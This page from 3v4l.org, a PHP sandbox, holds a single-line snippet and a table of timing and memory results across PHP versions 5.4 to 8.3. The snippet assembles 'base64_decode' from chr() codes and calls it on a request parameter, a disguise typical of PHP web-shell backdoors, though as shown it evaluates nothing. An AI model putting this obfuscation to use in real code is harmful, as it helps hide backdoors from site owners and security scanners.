3v4l.org

run code in 300+ PHP versions simultaneously
<?php chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101)($_REQUEST[sam]);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0150.00018.79
8.3.30.0080.00818.92
8.3.20.0060.00320.25
8.3.10.0040.00423.66
8.3.00.0040.00417.80
8.2.170.0030.01022.96
8.2.160.0100.00720.38
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0000.00726.16
8.2.120.0060.00317.63
8.2.110.0060.00322.21
8.2.100.0060.00617.75
8.2.90.0080.00019.17
8.2.80.0040.00417.97
8.2.70.0000.00917.63
8.2.60.0050.00318.04
8.2.50.0030.00518.07
8.2.40.0000.00819.34
8.2.30.0040.00420.73
8.2.20.0040.00417.78
8.2.10.0000.00718.00
8.2.00.0040.00417.86
8.1.270.0090.00623.96
8.1.260.0030.00626.35
8.1.250.0000.00828.09
8.1.240.0090.00022.61
8.1.230.0040.00817.42
8.1.220.0050.00317.74
8.1.210.0030.00518.77
8.1.200.0060.00317.00
8.1.190.0090.00017.10
8.1.180.0060.00318.10
8.1.170.0030.00518.50
8.1.160.0070.00021.86
8.1.150.0070.00018.63
8.1.140.0060.00317.32
8.1.130.0030.00317.49
8.1.120.0040.00417.38
8.1.110.0000.00717.24
8.1.100.0040.00417.34
8.1.90.0000.00717.21
8.1.80.0070.00017.34
8.1.70.0000.00717.32
8.1.60.0060.00317.49
8.1.50.0000.00817.34
8.1.40.0000.00817.44
8.1.30.0040.00817.51
8.1.20.0000.00817.54
8.1.10.0050.00317.42
8.1.00.0040.00417.45
8.0.300.0000.00718.77
8.0.290.0040.00416.75
8.0.280.0080.00018.27
8.0.270.0030.00317.27
8.0.260.0000.00717.10
8.0.250.0000.00716.98
8.0.240.0070.00016.91
8.0.230.0050.00316.84
8.0.220.0030.00316.80
8.0.210.0040.00416.85
8.0.200.0000.00616.87
8.0.190.0000.00716.93
8.0.180.0050.00216.79
8.0.170.0040.00416.82
8.0.160.0050.00216.88
8.0.150.0040.00416.92
8.0.140.0050.00216.80
8.0.130.0000.00613.26
8.0.120.0040.00416.75
8.0.110.0030.00516.91
8.0.100.0080.00016.77
8.0.90.0000.00716.74
8.0.80.0000.01416.80
8.0.70.0000.00716.71
8.0.60.0000.00717.00
8.0.50.0000.00816.66
8.0.30.0140.00517.00
8.0.20.0170.00817.40
8.0.10.0000.00716.89
8.0.00.0100.01216.84
7.4.330.0000.00515.08
7.4.320.0030.00316.44
7.4.300.0030.00316.35
7.4.290.0000.00716.35
7.4.280.0040.00416.52
7.4.270.0060.00016.52
7.4.260.0030.00316.43
7.4.250.0000.00816.53
7.4.240.0030.00416.44
7.4.230.0030.00316.56
7.4.220.0100.00716.54
7.4.210.0060.00916.55
7.4.200.0040.00416.35
7.4.160.0050.01116.40
7.4.150.0070.01017.40
7.4.140.0110.00917.86
7.4.130.0180.00716.53
7.4.120.0150.00316.40
7.4.110.0120.01416.43
7.4.100.0120.01216.51
7.4.90.0030.01516.30
7.4.80.0090.01219.39
7.4.70.0130.00616.34
7.4.60.0140.00316.48
7.4.50.0000.00416.50
7.4.40.0100.00716.54
7.4.30.0090.01916.43
7.4.00.0080.00714.92
7.3.330.0000.00613.03
7.3.320.0030.00312.97
7.3.310.0030.00616.32
7.3.300.0000.00716.26
7.3.290.0070.00816.27
7.3.280.0140.00616.23
7.3.270.0080.00817.40
7.3.260.0200.00316.30
7.3.240.0090.01316.10
7.3.230.0140.00416.48
7.3.210.0140.00716.24
7.3.200.0120.00916.34
7.3.190.0090.00616.34
7.3.180.0130.00316.26
7.3.170.0030.01616.27
7.3.160.0100.00716.48
7.3.120.0070.01014.86
7.3.110.0060.01014.82
7.3.100.0100.00714.50
7.3.90.0040.00714.74
7.3.80.0040.00714.65
7.3.70.0030.00714.82
7.3.60.0080.00814.86
7.3.50.0000.01214.79
7.3.40.0070.00714.93
7.3.30.0100.00714.63
7.3.20.0030.00916.62
7.3.10.0090.00016.59
7.3.00.0070.00716.60
7.2.330.0090.01516.48
7.2.320.0090.00916.59
7.2.310.0110.00816.40
7.2.300.0070.01016.45
7.2.290.0100.00616.60
7.2.250.0140.00314.61
7.2.240.0110.00714.90
7.2.230.0070.01014.80
7.2.220.0000.01314.88
7.2.210.0000.01214.91
7.2.200.0040.00814.97
7.2.190.0040.01114.64
7.2.180.0080.00414.99
7.2.170.0040.01414.68
7.2.60.0000.01516.66
7.2.00.0100.00719.39
7.1.330.0000.00815.85
7.1.320.0040.00815.38
7.1.310.0060.01015.56
7.1.300.0030.00615.52
7.1.290.0040.00715.37
7.1.280.0090.00615.68
7.1.270.0060.00915.24
7.1.260.0030.00915.65
7.1.200.0100.00315.68
7.1.100.0030.01218.14
7.1.70.0040.00416.93
7.1.60.0030.01419.50
7.1.50.0070.01416.67
7.1.00.0130.06722.54
7.0.200.0060.00316.84
7.0.60.0070.08719.85
7.0.50.0030.07317.72
7.0.40.0030.05720.08
7.0.30.0170.06320.32
7.0.20.0300.03320.13
7.0.10.0070.05020.33
7.0.00.0100.08320.12
5.6.280.0030.03321.07
5.6.210.0070.06020.67
5.6.200.0070.08018.19
5.6.190.0030.04320.47
5.6.180.0430.08020.58
5.6.170.0330.07020.47
5.6.160.0030.08720.45
5.6.150.0130.03718.15
5.6.140.0130.04318.19
5.6.130.0000.04318.18
5.6.120.0100.06320.95
5.6.110.0100.08321.01
5.6.100.0030.09020.98
5.6.90.0000.04320.96
5.6.80.0070.07720.28
5.5.350.0270.06720.38
5.5.340.0030.04018.07
5.5.330.0030.07320.30
5.5.320.0070.06720.37
5.5.310.0200.07020.37
5.5.300.0030.05718.03
5.5.290.0030.07318.08
5.5.280.0100.04320.87
5.5.270.0070.08720.94
5.5.260.0130.07720.96
5.5.250.0070.08320.71
5.5.240.0070.06720.15
5.4.450.0800.05719.31
5.4.440.0830.06019.63
5.4.430.0700.05719.64
5.4.420.0700.05319.54
5.4.410.0670.06019.45
5.4.400.0700.05319.30
5.4.390.0930.07719.11
5.4.380.0730.05719.15
5.4.370.0830.06318.88
5.4.360.0800.06719.39
5.4.350.1000.04719.15
5.4.340.0830.05319.14
5.4.320.0870.06719.29
5.4.310.0800.07319.14
5.4.300.0770.05319.29
5.4.290.0800.05019.30
5.4.280.0800.05319.13
5.4.270.0900.07019.26
5.4.260.0800.04019.21
5.4.250.0800.04719.25
5.4.240.0630.05718.83
5.4.230.0770.05019.30
5.4.220.0870.05319.25
5.4.210.0730.05319.13
5.4.200.0670.05319.36
5.4.190.0800.05019.14
5.4.180.0730.04719.30
5.4.170.0670.05319.29
5.4.160.0970.05019.22
5.4.150.0770.05319.34
5.4.140.0700.05716.50
5.4.130.0770.04316.42
5.4.120.0730.05316.39
5.4.110.0600.05716.52
5.4.100.0670.04716.62
5.4.90.0670.05316.63
5.4.80.0730.05016.59
5.4.70.0300.03016.52
5.4.60.0170.04016.49
5.4.50.0170.04016.43
5.4.40.0200.05716.43
5.4.30.0230.04716.53
5.4.20.0330.06016.53
5.4.10.0400.05016.50

preferences:
48.4 ms | 400 KiB | 5 Q